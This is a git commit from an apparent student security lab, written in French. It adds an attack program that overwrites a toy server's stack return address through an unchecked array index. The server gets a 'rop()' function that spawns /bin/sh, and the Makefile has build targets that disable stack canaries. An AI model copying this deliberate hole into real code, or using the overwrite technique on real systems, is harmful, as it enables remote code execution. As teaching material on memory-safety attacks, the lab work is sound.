Première attaque en connaissant l'adresse d'une fonction + détection des segfault serveur par le client

This commit is contained in:
Yohan Simard 2021-03-13 11:13:47 +01:00
parent f3f0dd37d9
commit 6399fbda0f
4 changed files with 141 additions and 128 deletions

View file

@ -1,81 +1,63 @@
default: default:
@echo "Usage : [ 64b | 64b_nocanary | 32b | 32b_nocanary ]" @echo "Usage : [ 64b | 64b_nocanary | 32b | 32b_nocanary ]"
64b: clean_serv_client serv64b client64b attaque 64b: clean_serv serv64b client attaque
64b_nocanary: clean_serv_client serv64b_nocanary client64b attaque 64b_nocanary: clean_serv serv64b_nocanary client attaque
32b: clean_serv_client serv32b client32b attaque 32b: clean_serv serv32b client attaque
32b_nocanary: clean_serv_client serv32b_nocanary client32b attaque 32b_nocanary: clean_serv serv32b_nocanary client attaque
attaque: attaque.c attaque: attaque.c
@echo "######################################" @echo "######################################"
@echo "# Compilation du programme ATTAQUANT #" @echo "# Compilation du programme ATTAQUANT #"
@echo "######################################" @echo "######################################"
@echo "" gcc -Wall -g attaque.c -o attaque
gcc -Wall attaque.c -o attaque
@echo ""
@echo "" @echo ""
serv64b: serveur.c serv64b: serveur.c
@echo "######################################" @echo "######################################"
@echo "####### Compilation du SERVEUR #######" @echo "####### Compilation du SERVEUR #######"
@echo "######################################" @echo "######################################"
@echo "" gcc -Wall -g serveur.c -o serveur
gcc -Wall serveur.c -o serveur
@echo ""
@echo "" @echo ""
client64b: client.c client: client.c
@echo "######################################" @echo "######################################"
@echo "####### Compilation du CLIENT #######" @echo "####### Compilation du CLIENT #######"
@echo "######################################" @echo "######################################"
@echo "" gcc -Wall -g client.c -o client
gcc -Wall client.c -o client
@echo ""
@echo "" @echo ""
serv32b: serveur.c serv32b: serveur.c
@echo "######################################" @echo "######################################"
@echo "# Compilation du SERVEUR en 32 bits #" @echo "# Compilation du SERVEUR en 32 bits #"
@echo "######################################" @echo "######################################"
@echo "" gcc -Wall -g -m32 serveur.c -o serveur
gcc -Wall -m32 serveur.c -o serveur
@echo ""
@echo ""
client32b: client.c
@echo "######################################"
@echo "## Compilation du CLIENT en 32 bits ##"
@echo "######################################"
@echo ""
gcc -Wall -m32 client.c -o client
@echo ""
@echo "" @echo ""
serv64b_nocanary: serveur.c serv64b_nocanary: serveur.c
@echo "######################################" @echo "######################################"
@echo "# Compilation du SERVEUR sans Canary #" @echo "# Compilation du SERVEUR sans Canary #"
@echo "######################################" @echo "######################################"
@echo "" gcc -Wall -g -fno-stack-protector serveur.c -o serveur
gcc -Wall -fno-stack-protector serveur.c -o serveur
@echo ""
@echo "" @echo ""
serv32b_nocanary: serveur.c serv32b_nocanary: serveur.c
@echo "#################################################" @echo "#################################################"
@echo "# Compilation du SERVEUR en 32 bits sans Canary #" @echo "# Compilation du SERVEUR en 32 bits sans Canary #"
@echo "#################################################" @echo "#################################################"
@echo "" gcc -Wall -g -m32 -fno-stack-protector serveur.c -o serveur
gcc -Wall -m32 -fno-stack-protector serveur.c -o serveur
@echo ""
@echo "" @echo ""
edit: edit:
pluma serveur.c client.c Attaque.c & pluma serveur.c client.c attaque.c &
clean_attack: clean_attack:
@rm -f attaque @rm -f attaque
clean_serv_client: clean_serv:
@rm -f client serveur @rm -f serveur
clean: clean_attack clean_serv_client clean_client:
@rm -f client
clean: clean_attack clean_serv clean_client

View file

@ -3,25 +3,45 @@
#include <string.h> #include <string.h>
#include <stdlib.h> #include <stdlib.h>
#define LATENCE 10000
#define FUNCTION usleep
#define SIZE_BUFF 228
/**
* Lance un client, exécute une commande, puis quitte le client
* @param host L'adresse du serveur
* @param port Le port sur lequel se connecter
* @param cmd La commande à exécuter
* @return Le statut du client
*/
int runClientWithCommand(char *host, char *port, char *cmd) {
// Démarrage du client
char prog_name[100]; char prog_name[100];
sprintf(prog_name, "./client %s %s", host, port);
void runClientWithCommand(char *cmd) { // Récupération de l'entrée standard
FILE *prog = popen(prog_name, "w"); FILE *prog = popen(prog_name, "w");
FUNCTION(LATENCE); usleep(1000);
if (prog == NULL) { if (prog == NULL) {
printf("ERREUR\n"); printf("ERREUR\n");
return; return -1;
} }
// Écriture de la commande
fprintf(prog, "%s", cmd); fprintf(prog, "%s", cmd);
printf("%s", cmd); printf("%s", cmd);
FUNCTION(LATENCE);
usleep(1000);
// Fermeture du client
fprintf(prog, "QUIT\n"); fprintf(prog, "QUIT\n");
printf("QUIT\n"); printf("QUIT\n");
pclose(prog); return pclose(prog);
}
void hackServer(char *host, char *port, long addr) {
printf("-- Écrasement de l'adresse de retour par %p --\n", (void *) addr);
char buf[100];
// L'index 134 du tableau correspond à l'adresse de retour
sprintf(buf, "WRITE %ld 134\n", addr);
runClientWithCommand(host, port, buf);
} }
int main(int argc, char *argv[]) { int main(int argc, char *argv[]) {
@ -34,31 +54,18 @@ int main(int argc, char *argv[]) {
printf("Usage : ./attaque addresseServeur portServeur\n"); printf("Usage : ./attaque addresseServeur portServeur\n");
return 3; return 3;
} }
sprintf(prog_name, "./client %s %s", argv[1], argv[2]);
// On ecrit 100 a l'index 2 // Adresse à modifier avec l'adresse d'une fonction du serveur
printf("-- Write --\n"); long address = 0xffffffff;
runClientWithCommand("WRITE 100 2\n"); hackServer(argv[1], argv[2], address);
// On affiche la valeur a l'index 1 // long begin = 1448463905;
printf("-- Read --\n"); // long end = 1449434657;
runClientWithCommand("READ 1\n"); // printf("testing %ld possibilities...\n", end - begin);
//
// On affiche le tableau sur le serveur // for (long addr = begin; addr < end; ++addr) {
printf("-- Print --\n"); // runClient(argv[1], argv[2], addr);
runClientWithCommand("PRINT\n");
// TODO
// // On hack pour RESET
// printf("-- Hack --\n");
// char buff[SIZE_BUFF + 1];
// int i;
// for (i=0; i<(SIZE_BUFF / 4); i++) {
// buff[(i*4)] = 0xef;
// buff[(i*4) + 1] = 0xca;
// buff[(i*4) + 2] = 0x5c;
// buff[(i*4) + 3] = 0x56;
// } // }
// buff[SIZE_BUFF] = '\0';
// runClientWithCommand(buff); return 0;
} }

View file

@ -39,7 +39,7 @@ int main (int argc, char * argv[]) {
if (hoststruct == NULL) { if (hoststruct == NULL) {
printf("ERREUR lors de la recherche de l'adresse IP du target\n"); printf("ERREUR lors de la recherche de l'adresse IP du target\n");
exit(1); exit(2);
} }
memcpy((char *) &(addr_target.sin_addr.s_addr), hoststruct->h_addr, hoststruct->h_length); memcpy((char *) &(addr_target.sin_addr.s_addr), hoststruct->h_addr, hoststruct->h_length);
@ -49,83 +49,93 @@ int main (int argc, char * argv[]) {
retour_connexion = connect(sock, (struct sockaddr *) &addr_target, sizeof(struct sockaddr_in)); retour_connexion = connect(sock, (struct sockaddr *) &addr_target, sizeof(struct sockaddr_in));
if (retour_connexion == -1) { if (retour_connexion == -1) {
printf("ERREUR lors de la demande de connexion\n"); printf("ERREUR lors de la demande de connexion\n");
exit(1); exit(3);
} }
printf("Que souhaitez vous faire : \n - READ 'index'\n - WRITE 'value' 'index'\n - ADD 'index1' 'index2' 'index3'\n - SUB 'index1' 'index2' 'index3'\n - MUL 'index1' 'index2' 'index3'\n - DIV 'index1' 'index2' 'index3'\n - LOWER 'index1' 'index2'\n - EQUAL 'index1' 'index2'\n - PRINT\n - QUIT\n"); printf("Que souhaitez vous faire : \n - READ 'index'\n - WRITE 'value' 'index'\n - ADD 'index1' 'index2' 'index3'\n - SUB 'index1' 'index2' 'index3'\n - MUL 'index1' 'index2' 'index3'\n - DIV 'index1' 'index2' 'index3'\n - LOWER 'index1' 'index2'\n - EQUAL 'index1' 'index2'\n - PRINT\n - QUIT\n");
int cont = 1; while (1) {
while (cont) {
// Test si le serveur a crash // Test si le serveur a crash
usleep(100000); usleep(100000);
int oldflag = fcntl(sock, F_GETFL); int oldflag = fcntl(sock, F_GETFL);
char buff2[40] = "\0"; char buff2[40] = "\0";
fcntl(sock, F_SETFL, oldflag | O_NONBLOCK); fcntl(sock, F_SETFL, oldflag | O_NONBLOCK);
if ((int) read(sock, buff2, 40) == 0) { if ((int) read(sock, buff2, 40) == 0) {
printf("\nSERVEUR KO\n\n"); printf("--- Socket closed ---\n");
close(sock); close(sock);
exit(-1); exit(0);
} else if (strcmp(buff2, "SEGFAULT") == 0) {
printf("--- Segfault in server ---\n");
close(sock);
exit(4);
} }
fcntl(sock, F_SETFL, oldflag); fcntl(sock, F_SETFL, oldflag);
// Lecture de la requette // Lecture de la requette
char requette[40]; char requete[40];
fgets(requette, 40, stdin); fgets(requete, 40, stdin);
char req[10] = "\0"; char req[10] = "\0";
int param1 = -1; int param1 = -1;
int param2 = -1; int param2 = -1;
int param3 = -1; int param3 = -1;
sscanf(requette, "%s %d %d %d", req, &param1, &param2, &param3); sscanf(requete, "%s %d %d %d", req, &param1, &param2, &param3);
// Traitement de la requette // Traitement de la requette
char buff[40] = "\0"; char buff[40] = "\0";
int nb_octets_envoyes; int nb_octets_envoyes;
if (!strcmp(req, "READ")) { if (!strcmp(req, "READ") || !strcmp(req, "read")) {
if (param1 < 0) { if (param1 < 0) {
printf("ERROR SYNTAX\n"); printf("ERROR SYNTAX\n");
} else { } else {
sprintf(buff, "r.%d.0.0", param1); sprintf(buff, "r.%d.0.0", param1);
nb_octets_envoyes = send(sock, buff, strlen(buff), 0); nb_octets_envoyes = send(sock, buff, strlen(buff), 0);
printf("nb_octets_envoyes = %d\n", nb_octets_envoyes); printf("nb_octets_envoyes = %d\n", nb_octets_envoyes);
read(sock, buff, 40); int bytesRead = read(sock, buff, 40);
printf("Tableau[%d] = %s\n", param1, buff); if (bytesRead > 0) {
int val;
printf("%s\n", buff);
sscanf(buff, "%d", &val);
printf("Tableau[%d] = %d\n", param1, val);
} else {
printf("Erreur lors du read\n");
} }
} else if (!strcmp(req, "WRITE")) { }
} else if (!strcmp(req, "WRITE") || !strcmp(req, "write")) {
if (param2 < 0) { if (param2 < 0) {
printf("ERROR SYNTAX\n"); printf("ERROR SYNTAX\n");
} else { } else {
sprintf(buff, "w.%d.%d.0", param1, param2); sprintf(buff, "w.%d.%d.0", param1, param2);
send(sock, buff, strlen(buff), 0); send(sock, buff, strlen(buff), 0);
} }
} else if (!strcmp(req, "ADD")) { } else if (!strcmp(req, "ADD") || !strcmp(req, "add")) {
if (param1 < 0 || param2 < 0 || param3 < 0) { if (param1 < 0 || param2 < 0 || param3 < 0) {
printf("ERROR SYNTAX\n"); printf("ERROR SYNTAX\n");
} else { } else {
sprintf(buff, "a.%d.%d.%d", param1, param2, param3); sprintf(buff, "a.%d.%d.%d", param1, param2, param3);
send(sock, buff, strlen(buff), 0); send(sock, buff, strlen(buff), 0);
} }
} else if (!strcmp(req, "SUB")) { } else if (!strcmp(req, "SUB") || !strcmp(req, "sub")) {
if (param1 < 0 || param2 < 0 || param3 < 0) { if (param1 < 0 || param2 < 0 || param3 < 0) {
printf("ERROR SYNTAX\n"); printf("ERROR SYNTAX\n");
} else { } else {
sprintf(buff, "s.%d.%d.%d", param1, param2, param3); sprintf(buff, "s.%d.%d.%d", param1, param2, param3);
send(sock, buff, strlen(buff), 0); send(sock, buff, strlen(buff), 0);
} }
} else if (!strcmp(req, "MUL")) { } else if (!strcmp(req, "MUL") || !strcmp(req, "mul")) {
if (param1 < 0 || param2 < 0 || param3 < 0) { if (param1 < 0 || param2 < 0 || param3 < 0) {
printf("ERROR SYNTAX\n"); printf("ERROR SYNTAX\n");
} else { } else {
sprintf(buff, "m.%d.%d.%d", param1, param2, param3); sprintf(buff, "m.%d.%d.%d", param1, param2, param3);
send(sock, buff, strlen(buff), 0); send(sock, buff, strlen(buff), 0);
} }
} else if (!strcmp(req, "DIV")) { } else if (!strcmp(req, "DIV") || !strcmp(req, "div")) {
if (param1 < 0 || param2 < 0 || param3 < 0) { if (param1 < 0 || param2 < 0 || param3 < 0) {
printf("ERROR SYNTAX\n"); printf("ERROR SYNTAX\n");
} else { } else {
sprintf(buff, "d.%d.%d.%d", param1, param2, param3); sprintf(buff, "d.%d.%d.%d", param1, param2, param3);
send(sock, buff, strlen(buff), 0); send(sock, buff, strlen(buff), 0);
} }
} else if (!strcmp(req, "LOWER")) { } else if (!strcmp(req, "LOWER") || !strcmp(req, "lower")) {
if (param1 < 0 || param2 < 0) { if (param1 < 0 || param2 < 0) {
printf("ERROR SYNTAX\n"); printf("ERROR SYNTAX\n");
} else { } else {
@ -144,7 +154,7 @@ int main (int argc, char * argv[]) {
} }
printf("Tableau[%d] < Tableau[%d] => %s\n", param1, param2, res); printf("Tableau[%d] < Tableau[%d] => %s\n", param1, param2, res);
} }
} else if (!strcmp(req, "EQUAL")) { } else if (!strcmp(req, "EQUAL") || !strcmp(req, "equal")) {
if (param1 < 0 || param2 < 0) { if (param1 < 0 || param2 < 0) {
printf("ERROR SYNTAX\n"); printf("ERROR SYNTAX\n");
} else { } else {
@ -163,20 +173,16 @@ int main (int argc, char * argv[]) {
} }
printf("Tableau[%d] == Tableau[%d] => %s\n", param1, param2, res); printf("Tableau[%d] == Tableau[%d] => %s\n", param1, param2, res);
} }
} else if (!strcmp(req, "PRINT")) { } else if (!strcmp(req, "PRINT") || !strcmp(req, "print")) {
sprintf(buff, "p.0.0.0"); sprintf(buff, "p.0.0.0");
send(sock, buff, strlen(buff), 0); send(sock, buff, strlen(buff), 0);
} else if (!strcmp(req, "QUIT")) { } else if (!strcmp(req, "QUIT") || !strcmp(req, "quit")) {
sprintf(buff, "q.0.0.0"); sprintf(buff, "q.0.0.0");
send(sock, buff, strlen(buff), 0); send(sock, buff, strlen(buff), 0);
cont = 0;
} else { } else {
printf("SYNTAX ERROR\n"); printf("SYNTAX ERROR\n");
} }
} }
close(sock);
return 0;
} }

View file

@ -103,15 +103,26 @@ int main_sock;
void handle_sigsegv(int signum) { void handle_sigsegv(int signum) {
fprintf(stderr, "Signal SIGSEGV (%d) received : SEG FAULT\n", signum); fprintf(stderr, "Signal SIGSEGV (%d) received : SEG FAULT\n", signum);
_exit(0); exit(134); // 134 est le code de retour habituel en cas de segfault
} }
void handle_sigchild(int signum) { void handle_sigchild(int signum) {
int pid = wait(NULL); // Attente de l'arrêt du fils et récupération du code de retour
//printf("Processus %d terminé\n", pid); int status;
int pid = wait(&status);
int retCode = WEXITSTATUS(status);
// Récupération du socket
int sock = get_sock_and_remove_proc(&liste, pid); int sock = get_sock_and_remove_proc(&liste, pid);
//printf("Retour shutdowm = %d\n", shutdown(sock, SHUT_RDWR));
//printf("Retour close = %d\n", close(sock)); // Envoi de l'info de Segfault au client
if (retCode == 134) {
char buf[40] = "SEGFAULT";
write(sock, buf, strlen(buf));
printf("SEGFAULT envoyé\n");
}
// Fermeture du socket
shutdown(sock, SHUT_RDWR); shutdown(sock, SHUT_RDWR);
close(sock); close(sock);
} }
@ -246,6 +257,12 @@ void process(int sock) {
} }
} }
// Fonction que l'on veut appeler en écrivant son adresse dans la pile
void rop() {
printf("Exploit successful!\n");
system("/bin/sh");
}
int main(int argc, char *argv[]) { int main(int argc, char *argv[]) {
if (argc != 2) { if (argc != 2) {
@ -261,13 +278,13 @@ int main(int argc, char *argv[]) {
// install a handler for SIGCHLD in a part of your code // install a handler for SIGCHLD in a part of your code
if (signal(SIGCHLD, &handle_sigchild) == SIG_ERR) { if (signal(SIGCHLD, &handle_sigchild) == SIG_ERR) {
fprintf(stderr, "Could not install SIGSEGV handler"); fprintf(stderr, "Could not install SIGCHLD handler");
return -1; return -1;
} }
// install a handler for SIGINT in a part of your code // install a handler for SIGINT in a part of your code
if (signal(SIGINT, &handle_sigint) == SIG_ERR) { if (signal(SIGINT, &handle_sigint) == SIG_ERR) {
fprintf(stderr, "Could not install SIGSEGV handler"); fprintf(stderr, "Could not install SIGINT handler");
return -1; return -1;
} }
@ -287,10 +304,9 @@ int main(int argc, char *argv[]) {
addr_local.sin_addr.s_addr = INADDR_ANY; addr_local.sin_addr.s_addr = INADDR_ANY;
// On bind l'adresse du socket créee avec le socket local // On bind l'adresse du socket créee avec le socket local
binder = binder = bind(main_sock, (struct sockaddr *) &addr_local, sizeof(struct sockaddr_in));
bind(main_sock, (struct sockaddr *) &addr_local, sizeof(struct sockaddr_in));
if (binder == -1) { if (binder == -1) {
printf("ERREUR lors du bind du socket\n"); perror("ERREUR lors du bind du socket");
exit(1); exit(1);
} }
@ -310,6 +326,8 @@ int main(int argc, char *argv[]) {
int nb_connexions = 0; int nb_connexions = 0;
printf("CTRL+C pour terminer\n"); printf("CTRL+C pour terminer\n");
printf("addresse de rop() : %ld\n", (long) &rop);
while (pid != 0) { while (pid != 0) {
int sock_connexion = accept(main_sock, (struct sockaddr *) &addr_em, &longueur_addr_em); int sock_connexion = accept(main_sock, (struct sockaddr *) &addr_em, &longueur_addr_em);